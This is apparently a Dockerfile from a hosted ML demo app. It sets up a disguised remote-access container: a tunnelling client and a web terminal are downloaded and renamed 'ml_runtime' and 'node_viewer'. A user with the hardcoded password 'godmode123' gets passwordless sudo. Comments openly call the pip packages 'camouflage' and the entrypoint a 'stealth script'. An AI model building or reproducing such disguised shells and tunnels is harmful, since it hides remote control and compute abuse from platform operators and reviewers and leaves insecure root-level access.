Myking_ai / Dockerfile
Bjo53's picture
Update Dockerfile
6fb7f7a verified
Raw
History Blame Contribute Delete
1.01 kB
FROM ubuntu:22.04
ENV DEBIAN_FRONTEND=noninteractive
# 1. CORE DEPENDENCIES
RUN apt-get update && apt-get install -y \
sudo curl wget git python3 python3-pip build-essential \
libnss3 libatk-bridge2.0-0 libxcomposite1 libxrandr2 libgbm1
# 2. SET THE THRONE FIRST
WORKDIR /home/pekka/agent_workspace
# 3. DOWNLOAD & RENAME (Now correctly placed in the workspace)
RUN curl -L https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64 -o ml_runtime && chmod +x ml_runtime
RUN wget https://github.com/tsl0922/ttyd/releases/download/1.7.3/ttyd.x86_64 -O node_viewer && chmod +x node_viewer
# 4. USER CONFIG
RUN useradd -m -s /bin/bash pekka && echo "pekka:godmode123" | chpasswd && adduser pekka sudo && echo '%sudo ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
# 5. ML CAMOUFLAGE LIBRARIES
RUN pip3 install gradio requests
# 6. INJECT STEALTH SCRIPT
COPY entrypoint.sh .
RUN chmod +x entrypoint.sh && chown pekka:pekka entrypoint.sh
EXPOSE 7860
CMD ["bash", "entrypoint.sh"]